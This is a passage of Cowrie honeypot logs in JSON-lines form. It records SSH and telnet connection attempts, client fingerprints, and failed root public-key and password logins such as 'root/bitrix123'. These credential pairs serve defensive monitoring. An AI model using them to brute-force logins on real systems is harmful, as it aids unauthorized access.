om","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:29:10.449275Z","src_ip":"98.70.48.241","session":"406fdbc89df8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"bitrix123","message":"login attempt [root/bitrix123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:29:11.262444Z","src_ip":"98.70.48.241","session":"406fdbc89df8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:29:12.460265Z","src_ip":"98.70.48.241","session":"406fdbc89df8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.60236430168152,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:29:16.183814Z","src_ip":"45.58.127.90","session":"17654daff603","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.264384746551514,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:29:21.245077Z","src_ip":"45.58.127.90","session":"5b354063bfa7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":52624,"dst_ip":"10.17.0.5","dst_port":23,"session":"4e64e82acd25","protocol":"telnet","message":"New connection: 45.58.127.90:52624 (10.17.0.5:23) [session: 4e64e82acd25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:29:27.733214Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:29:32.943698Z","src_ip":"47.239.15.75","session":"e970bf2ae89f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:29:32.948038Z","src_ip":"47.239.15.75","session":"e970bf2ae89f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":58964,"dst_ip":"10.17.0.5","dst_port":23,"session":"12eacadde42a","protocol":"telnet","message":"New connection: 45.58.127.90:58964 (10.17.0.5:23) [session: 12eacadde42a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:29:32.955576Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":58980,"dst_ip":"10.17.0.5","dst_port":23,"session":"bb4513dd9627","protocol":"telnet","message":"New connection: 45.58.127.90:58980 (10.17.0.5:23) [session: bb4513dd9627]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:29:33.110800Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":58958,"dst_ip":"10.17.0.5","dst_port":23,"session":"f286ac74ce8d","protocol":"telnet","message":"New connection: 45.58.127.90:58958 (10.17.0.5:23) [session: f286ac74ce8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:29:33.269536Z"}
{"eventid":"cowrie.session.closed","duration":2.2730112075805664,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:29:35.542329Z","src_ip":"45.58.127.90","session":"f286ac74ce8d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":41464,"dst_ip":"10.17.0.5","dst_port":23,"session":"66a00fec5565","protocol":"telnet","message":"New connection: 45.58.127.90:41464 (10.17.0.5:23) [session: 66a00fec5565]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:29:42.124419Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.58.79.249","src_port":52878,"dst_ip":"10.17.0.5","dst_port":23,"session":"9e7c6d190308","protocol":"telnet","message":"New connection: 152.58.79.249:52878 (10.17.0.5:23) [session: 9e7c6d190308]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:29:44.645196Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.212.244.18","src_port":7146,"dst_ip":"10.17.0.5","dst_port":22,"session":"8810a43492ac","protocol":"ssh","message":"New connection: 206.212.244.18:7146 (10.17.0.5:22) [session: 8810a43492ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:29:52.285092Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:29:52.294362Z","src_ip":"206.212.244.18","session":"8810a43492ac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:29:52.306577Z","src_ip":"206.212.244.18","session":"8810a43492ac","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"64:f0:29:27:e1:6b:46:ce:1d:35:dc:b6:3b:04:11:f7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC9BuO5JKnS9UJMYkcb3DWnFVPcZ5TaexjDUST0qS0EH4TgQtszHDx5dQxYPIKfbvuhgDpt0uIqRfSwHuQ8fwL3hO1psJrCu6AzFbe0d1oHpTQ++q360ZMvub7izaGleVS/JnfzprJXfctj5KorKO5BkO1HCdbWO7Lue78UhnPBsIlZmZuvSbYoWJG3ERdEc7FsC1XkQT1p7/KmpYnVLmiCmgApt75toSsxJueiCl26ICwT0g7AuTMVGf99yBb1NDBy4QE6KTqImb8j1KQGUz2Va0S45SBUJp1BcUKd5Mra609dCAXV1gGLej0iITH9h3o7NPrZhPU2cA5v6CGTV08x","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 64:f0:29:27:e1:6b:46:ce:1d:35:dc:b6:3b:04:11:f7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:29:52.345901Z","src_ip":"206.212.244.18","session":"8810a43492ac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"64:f0:29:27:e1:6b:46:ce:1d:35:dc:b6:3b:04:11:f7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC9BuO5JKnS9UJMYkcb3DWnFVPcZ5TaexjDUST0qS0EH4TgQtszHDx5dQxYPIKfbvuhgDpt0uIqRfSwHuQ8fwL3hO1psJrCu6AzFbe0d1oHpTQ++q360ZMvub7izaGleVS/JnfzprJXfctj5KorKO5BkO1HCdbWO7Lue78UhnPBsIlZmZuvSbYoWJG3ERdEc7FsC1XkQT1p7/KmpYnVLmiCmgApt75toSsxJueiCl26ICwT0g7AuTMVGf99yBb1NDBy4QE6KTqImb8j1KQGUz2Va0S45SBUJp1BcUKd5Mra609dCAXV1gGLej0iITH9h3o7NPrZhPU2cA5v6CGTV08x","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:29:52.349931Z","src_ip":"206.212.244.18","session":"8810a43492ac","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"fd:7e:0f:f2:57:8f:99:86:f2:76:d2:8c:0d:09:4b:f8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDOnZWeFfwruYvdnQ22aAXAo30Ci2+EAuwCqWRO9hRr3ptzNSRoVvCNZFlYbXC/o1uSq6V+QcqPK5EiledtnC/ttkiL2vQ5JeS13yxU1ge6b3fGCNcGJGoxqLS62+y0TSTVVpn9Pe2v5bFSPmEXHJM7UKDvrPbgX86nQw8GlMEcxm8B2EADku7lxf82+DPo2J0RFPH0bqkQEyR9gihCTFT/NCpzNhUkrrWkARkPXCW4Oi4rPRvX7lGSCFiXMCvnD/vDXx91JkckmJperJxe93VaYBqqlwuny9Y3Uh44dm+MfYkxacE+LxLvD9MXw6YZEhqrC9lEJDjP9rnumaIe5wBZ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint fd:7e:0f:f2:57:8f:99:86:f2:76:d2:8c:0d:09:4b:f8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:29:52.363392Z","src_ip":"206.212.244.18","session":"8810a43492ac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"fd:7e:0f:f2:57:8f:99:86:f2:76:d2:8c:0d:09:4b:f8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDOnZWeFfwruYvdnQ22aAXAo30Ci2+EAuwCqWRO9hRr3ptzNSRoVvCNZFlYbXC/o1uSq6V+QcqPK5EiledtnC/ttkiL2vQ5JeS13yxU1ge6b3fGCNcGJGoxqLS62+y0TSTVVpn9Pe2v5bFSPmEXHJM7UKDvrPbgX86nQw8GlMEcxm8B2EADku7lxf82+DPo2J0RFPH0bqkQEyR9gihCTFT/NCpzNhUkrrWkARkPXCW4Oi4rPRvX7lGSCFiXMCvnD/vDXx91JkckmJperJxe93VaYBqqlwuny9Y3Uh44dm+MfYkxacE+LxLvD9MXw6YZEhqrC9lEJDjP9rnumaIe5wBZ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:29:52.367222Z","src_ip":"206.212.244.18","session":"8810a43492ac","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7c:01:76:25:7b:8f:4a:9c:6f:97:39:cc:49:9b:9e:82","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDFcLLmvkVFh9SMwJ9LFzUVqhKz8S5s5kc+JS76JUCO4Mm08YnwfcdMkS7FgS6RniwOTMkDxkjukTtuvtLf9CwB9C2YtRLhdbL0h8NN1UNJv7F7BymaI53ozB6M0F2ZptyQmWcgy0+dAz4sdD65JSCZuqj0X/N3SbC47+f4ISpeo6cU3S8NOskjGPyXsHFdYeS7qWx6uDtC/A3sPnQUqgvZ+i7sYMI1gdm0VEGCKHGklbboY9UhZmHcDhRti5rRcmZPBBT1Vb6knxolewAbo6vxwSI0Sgms5wPvGxg6YBVYvSLuVHDDX9t96HhDU56+ik0xF6mzdmjOgzbbRXDcRQoP","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 7c:01:76:25:7b:8f:4a:9c:6f:97:39:cc:49:9b:9e:82","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:29:52.381030Z","src_ip":"206.212.244.18","session":"8810a43492ac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7c:01:76:25:7b:8f:4a:9c:6f:97:39:cc:49:9b:9e:82","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDFcLLmvkVFh9SMwJ9LFzUVqhKz8S5s5kc+JS76JUCO4Mm08YnwfcdMkS7FgS6RniwOTMkDxkjukTtuvtLf9CwB9C2YtRLhdbL0h8NN1UNJv7F7BymaI53ozB6M0F2ZptyQmWcgy0+dAz4sdD65JSCZuqj0X/N3SbC47+f4ISpeo6cU3S8NOskjGPyXsHFdYeS7qWx6uDtC/A3sPnQUqgvZ+i7sYMI1gdm0VEGCKHGklbboY9UhZmHcDhRti5rRcmZPBBT1Vb6knxolewAbo6vxwSI0Sgms5wPvGxg6YBVYvSLuVHDDX9t96HhDU56+ik0xF6mzdmjOgzbbRXDcRQoP","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:29:52.386066Z","src_ip":"206.212.244.18","session":"8810a43492ac","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"38:13:9a:18:da:cf:f8:d3:7d:ab:04:6a:d7:76:10:d6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCY+IX4SR6L49Q/7XZ672C0Ws5Ookh30ikGPGJz+vGoXTCIM0+umq/yzXDpvl3nN5ksVTG7Mx+W7yvYTwTr2Zs7GaSpUOaBbRxsgtqXdFOk+G7LKT6V8SUAVzoLEupOQmYF/8b5P/QrfWNU5Ol7dOfZk7koQ1Jb93WXsM7vX6YVyPxlXgccN0Ip2G0Baj57g8sDIGhhzearIjj8EybY1CI48FYs15AzPLkQLwJjtkxO756TNGugxwZacB7P+d7mRcU0VkjmkIX5yBLI8zIbQS91pp5G7lXPgbEpLl/rvQRDqCOI0IUHnYIDZr08fLRCspM/cu1J9vxL+nbadas722sx","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 38:13:9a:18:da:cf:f8:d3:7d:ab:04:6a:d7:76:10:d6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:29:52.399157Z","src_ip":"206.212.244.18","session":"8810a43492ac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"38:13:9a:18:da:cf:f8:d3:7d:ab:04:6a:d7:76:10:d6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCY+IX4SR6L49Q/7XZ672C0Ws5Ookh30ikGPGJz+vGoXTCIM0+umq/yzXDpvl3nN5ksVTG7Mx+W7yvYTwTr2Zs7GaSpUOaBbRxsgtqXdFOk+G7LKT6V8SUAVzoLEupOQmYF/8b5P/QrfWNU5Ol7dOfZk7koQ1Jb93WXsM7vX6YVyPxlXgccN0Ip2G0Baj57g8sDIGhhzearIjj8EybY1CI48FYs15AzPLkQLwJjtkxO756TNGugxwZacB7P+d7mRcU0VkjmkIX5yBLI8zIbQS91pp5G7lXPgbEpLl/rvQRDqCOI0IUHnYIDZr08fLRCspM/cu1J9vxL+nbadas722sx","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:29:52.403458Z","src_ip":"206.212.244.18","session":"8810a43492ac","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ef:4b:0f:8d:22:f2:52:fb:bf:4d:40:48:2a:05:f0:56","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDEMOX4GRWX4UY5sQVLccneSKwR8BDndCwGXc4Qyl1f+AW/32/5UjUTWAlA10mkBQWNHLi0GDeH6Kpouye2qf1KajrUrzK0QWefzJHs5ToQjn/tGXV+0ljXgMw5dK+sfoM2dlgTTot7EClWaZwyclot7jpc7cyqydEnRIBZQN8GlyMwdXloGMs9OhuYVpDKdCHpJO+HST1bp6Iii2gw+lLv0xLdTPBkqWxAONYyIKKcgJYjOxU6AZyqgLsYsw1UWIYjva2bNYyYcoL0W+e9Cn1PYUAyk7R/2isMrWaGvWoul3TqA6gYVTNN7B6cQXFgvG7dvrOMjGfZYIECFaO7ADH7","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ef:4b:0f:8d:22:f2:52:fb:bf:4d:40:48:2a:05:f0:56","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:29:52.419736Z","src_ip":"206.212.244.18","session":"8810a43492ac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ef:4b:0f:8d:22:f2:52:fb:bf:4d:40:48:2a:05:f0:56","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDEMOX4GRWX4UY5sQVLccneSKwR8BDndCwGXc4Qyl1f+AW/32/5UjUTWAlA10mkBQWNHLi0GDeH6Kpouye2qf1KajrUrzK0QWefzJHs5ToQjn/tGXV+0ljXgMw5dK+sfoM2dlgTTot7EClWaZwyclot7jpc7cyqydEnRIBZQN8GlyMwdXloGMs9OhuYVpDKdCHpJO+HST1bp6Iii2gw+lLv0xLdTPBkqWxAONYyIKKcgJYjOxU6AZyqgLsYsw1UWIYjva2bNYyYcoL0W+e9Cn1PYUAyk7R/2isMrWaGvWoul3TqA6gYVTNN7B6cQXFgvG7dvrOMjGfZYIECFaO7ADH7","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:29:52.423926Z","src_ip":"206.212.244.18","session":"8810a43492ac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:29:52.440854Z","src_ip":"206.212.244.18","session":"8810a43492ac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.89124059677124,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:29:57.536299Z","src_ip":"152.58.79.249","session":"9e7c6d190308","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"47.239.15.75","src_port":36174,"dst_ip":"159.203.135.109","dst_port":22,"session":"3c2fd3763cc6","protocol":"ssh","message":"New connection: 47.239.15.75:36174 (159.203.135.109:22) [session: 3c2fd3763cc6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:30:04.627879Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:30:04.635324Z","src_ip":"47.239.15.75","session":"3c2fd3763cc6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:30:04.843876Z","src_ip":"47.239.15.75","session":"3c2fd3763cc6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:30:10.192015Z","src_ip":"47.239.15.75","session":"e970bf2ae89f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"98.70.48.241","src_port":49698,"dst_ip":"159.203.135.109","dst_port":22,"session":"f7d1f6fa2395","protocol":"ssh","message":"New connection: 98.70.48.241:49698 (159.203.135.109:22) [session: f7d1f6fa2395]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:30:10.689884Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:30:10.795869Z","src_ip":"98.70.48.241","session":"f7d1f6fa2395","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:30:10.993356Z","src_ip":"98.70.48.241","session":"f7d1f6fa2395","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tester","password":"abc123","message":"login attempt [tester/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:30:11.773399Z","src_ip":"98.70.48.241","session":"f7d1f6fa2395","protocol":"ssh"}
